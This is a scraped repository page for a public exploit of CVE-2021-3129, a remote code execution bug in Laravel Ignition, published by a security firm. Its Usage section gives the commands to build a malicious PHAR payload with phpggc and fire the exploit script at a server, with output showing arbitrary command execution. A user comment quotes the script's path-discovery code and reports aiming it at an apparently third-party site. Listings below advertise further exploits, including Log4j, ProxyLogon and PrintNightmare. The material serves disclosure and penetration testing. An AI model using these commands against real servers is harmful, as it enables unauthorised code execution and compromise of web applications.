Exploit for CVE-2021-3129

Ambionics Security

Last update: Nov 25, 2022

Related tags

Security related resources laravel-exploits

Overview

laravel-exploits

Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce

Usage

$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id 
$ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
Logs cleared
Successfully converted to PHAR !
Phar deserialized
--------------------------
uid=1000(cf) gid=1000(cf) ...
--------------------------
Logs cleared

You might also like...

Proof of Concept Exploit for vCenter CVE-2021-21972

CVE-2021-21972 Proof of Concept Exploit for vCenter CVE-2021-21972

210 Dec 31, 2022

cve-2021-21985 exploit

cve-2021-21985 exploit 0x01 漏洞点分析可见： https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis 0x02 exploit 对beans对象进行重新构

105 Nov 22, 2022

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit

CVE-2021-40444 builders This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit. This repo is just for testing, re

168 Nov 9, 2022

Proof on Concept Exploit for CVE-2021-38647 (OMIGOD)

OMIGOD Proof on Concept Exploit for CVE-2021-38647 (OMIGOD) For background information and context, read the our blog post detailing this vulnerabilit

231 Nov 12, 2022

Exploit for GitLab CVE-2021-22205 Unauthenticated Remote Code Execution

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files tha

2 Dec 30, 2021

Exploit-CVE-2021-21086

CVE-2021-21086 Exploit This exploit allows to execute a shellcode in the context of the rendering process of Adobe Acrobat Reader DC 2020.013.20074 an

23 Nov 9, 2022

Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077

CVE-2021-44077 Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus 11306 Based on: https://xz.aliyun.com/t/106

25 Nov 9, 2022

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

CVE-2021-43798 – Grafana Exploit About This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798

12 Nov 18, 2022

A proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228)

CVE-2021-44228 – Log4j RCE Unauthenticated About This is a proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228). This vulnerability

20 Nov 11, 2022

Comments

Evil FTP server implementation

Hello!

In the article https://www.ambionics.io/blog/laravel-debug-rce you write to the PHP-FPM port using an "evil" ftp server and passive mode. Is there a publicly available implementation of such a server? I looked around but didn't find an ftp server that allowed me out-of-the-box to specify an arbitrary IP and port to write to when connecting via passive mode.

opened by choket 2
Unable to find full path

When running the script against the target, I'm getting the below error: ./laravel-ignition-rce.py https://www.targer.com/ /tmp/exploit.phar

"- Unable to find full path "

def get_log_path(self): r = self.run_wrapper('DOESNOTEXIST') match = re.search(r'"file":"(\/[^"]+?)\/vendor\/[^"]+?"', r.text) if not match: self.failure('Unable to find full path') path = match.group(1).replace('\/', '/') path = f'{path}/storage/logs/laravel.log' r = self.run_wrapper(path) if r.status_code != 200: self.failure('Log file does not exist: {}', path)

opened by Jamalc0m 0

Owner

Ambionics Security

Offensive & Continuous Web Security Assessment

GitHub

Exploit for CVE-2021-3129

Related tags

Overview

laravel-exploits

Usage

You might also like...

Proof of Concept Exploit for vCenter CVE-2021-21972

cve-2021-21985 exploit

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit

Proof on Concept Exploit for CVE-2021-38647 (OMIGOD)

Exploit for GitLab CVE-2021-22205 Unauthenticated Remote Code Execution

Exploit-CVE-2021-21086

Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

A proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228)

Comments

Evil FTP server implementation

Unable to find full path

Owner

Ambionics Security

Laravel RCE (CVE-2021-3129)

log4j2 dos exploit,CVE-2021-45105 exploit,Denial of Service poc

AnonStress-Stored-XSS-Exploit - An exploit and demonstration on how to exploit a Stored XSS vulnerability in anonstress

DNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

Exploiting CVE-2021-42278 and CVE-2021-42287

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

Details,PoC and patches for CVE-2021-45383 & CVE-2021-45384